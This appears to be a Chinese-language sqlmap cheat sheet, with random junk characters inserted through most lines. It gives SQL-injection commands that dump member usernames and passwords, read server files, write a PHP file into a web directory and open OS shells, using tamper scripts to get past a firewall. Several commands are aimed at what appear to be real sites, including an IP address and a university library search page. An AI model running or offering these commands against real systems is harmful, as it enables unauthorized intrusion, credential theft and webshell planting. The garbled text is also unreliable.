/pentest/database/sqlmap; O/ `+ X: U. @( [# i
& G! }- F1 B b8 f
update :::::> in the folder after execute following order : svn update& Q8 m& w! z( U2 \+ k
0 ^6 A* H8 W3 x; u7 [sqlmap.py -r 1.txt --current-db
5 Q4 ~3 \9 ?6 A. {: v6 R/ V- h) p# c
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
4 m3 A) M* ^$ B, o* m
. [6 b! w; ~& b8 E2 i. k- ]* P==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
7 j# S- q: z' Q3 G猜解数据库 e+ p2 z& S& {7 J
./sqlmap.py -u "injection-url" --dbs
0 w$ s! N7 F( ]4 W5 {sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py" V( t$ Z9 n G8 h! J% t. h
8 h8 R: @' W, L2 v+ ^; @猜解表名
8 x* c% z7 z! G4 k./sqlmap.py -u "injection-url" -D database_name --tables, u% R/ I5 k2 g$ e4 P+ P/ n% S
8 V4 F( G; g) ~, }sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"; r& A$ V! j C3 [- w2 i. e
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" ! [2 Q; p$ ^3 v( v; b
) A- @- ~& k- }# `- u, q% s: Ksqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
0 u6 a, ~& O0 W! I' @! s) |
) D, W1 k& V* ?) B0 k8 F7 d, Zsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
3 r9 a/ N \0 b1 ?: Q. Fsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
" I( Y' k5 }" T, I8 \7 {5 j; g7 _sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" - r. C3 v% g- z0 W' n7 a# `* G
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
9 c: ^7 u0 j& K& @4 y; g8 s+ g! R# n8 |5 S2 p5 a% D" q4 Q
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"- ^! ^* t' G8 H4 g1 _' ]" t1 k" U* f
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"( j3 e, Y0 w8 L8 d$ y
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
2 h+ u7 j7 H. w5 c, a7 Dsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
* O: \" Q5 Q2 {) \ O2 _' E$ Csqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
2 E" k' L7 I+ h9 W) |# f) v
$ m0 x% d/ {, B% t+ U6 g* Wsqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
# P, Q8 q8 Q5 ~' O- [& i9 O; \sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"$ f" ^4 E9 l1 ^9 _4 l
/ i. l+ F7 n5 J. p1 Z- vsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst", r r4 k2 L5 z7 \/ ]/ l
猜解列名" r8 i3 {; o& ?: T
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns: w ]( B. A8 V& Z
1 x( C! K7 r+ t# R v8 R% N# I4 {sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
7 d" z9 o& V4 I5 q5 M( r2 }sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" + v) H0 E5 H1 b' q0 F
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"# Z, }6 b; W. m: H5 T7 P
- J$ x9 ~ l/ S; ssqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"# |/ F6 t5 L( T9 f" Q, T
&submit=Go; j) W0 z+ s. O7 n( k) Z. g. H' g% f
猜解值& `: I+ N' z7 r' O+ E
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
1 L T9 b8 z/ Z9 |8 n* _========================================================
- [" b1 a/ v4 j! e( @+ h$ ^) O& h5 X搜索表名中包括mana字符的5 D, e- A- r/ e# Q, d% a
/sqlmap.py -u "injection-url" -T mana --search% G/ ^" ^% V6 m! h4 F( n
返回一个交互式sql shell5 Z5 g& f3 F2 q1 K! W) s- M4 u
/sqlmap.py -u "injection-url" --sql-shell
7 Z5 T& j5 w% u5 x读取指定文件(需权限)( c! n5 D; w" Q6 K' o
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
5 r1 w, ~& g: S) E+ V查看当前 用户 及 数据库 " o- H3 Y$ V2 ~& l" ?
/sqlmap.py -u "injection-url" --current-user --current-db$ c- [2 s. j0 x* x2 f
本地文件 写入 远程目标绝对路径& S; [7 V6 G/ F! e$ `
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径: R3 o* m- x7 ^ Y0 r! X& F' y
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
+ P [6 A) {" K( _7 V& H
% E- C9 d) d, a# ]: G; ssqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
. q* l* P+ Y3 y' T, t. ~2 S( C查看某用的权限
8 [# S+ u6 t; J! i/sqlmap.py -u "injection-url" --privileges -U root2 Y- l: {1 L, I) ]* Q/ y; M* J) Z0 U
查看当前用户是否为dba! t+ d1 q! p3 h" }$ O: h
/sqlmap.py -u "injection-url" --is-dba
7 B1 F. s% q: j/ l读取所有数据库用户或指定数据库用户的密码6 G+ M( K; j' `$ I7 c
sqlmap.py -r 1.txt --users --passwords' h9 e; t& V$ f. v
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
N/ I" o7 {+ A; J8 `: Q
3 `: x- M3 ~0 t. i2 n/sqlmap.py -u "injection-url" --passwords -U root7 L! L% a* C5 A4 ]) v5 N( h1 d) o l; k6 z
. g# }& R' d) L% x$ H7 i% q--start&&--stop 与 --first&&--last 的区别
3 y# s8 Q- y. b/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
; H0 V; @! {& e: }3 [; g6 L* o Z
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
9 e' X+ X! V# C& H( X/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables6 c* w8 l9 x) n: {
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns: g/ ?& M& `% i- z/ S* u' {
, w7 u5 S8 g% b( l0 s! v B$ y
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)) v7 h/ g" m4 G F( O& J, i1 D
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
$ @* C* Z" l' S- M8 l
U+ _4 x5 ] H+ z! O |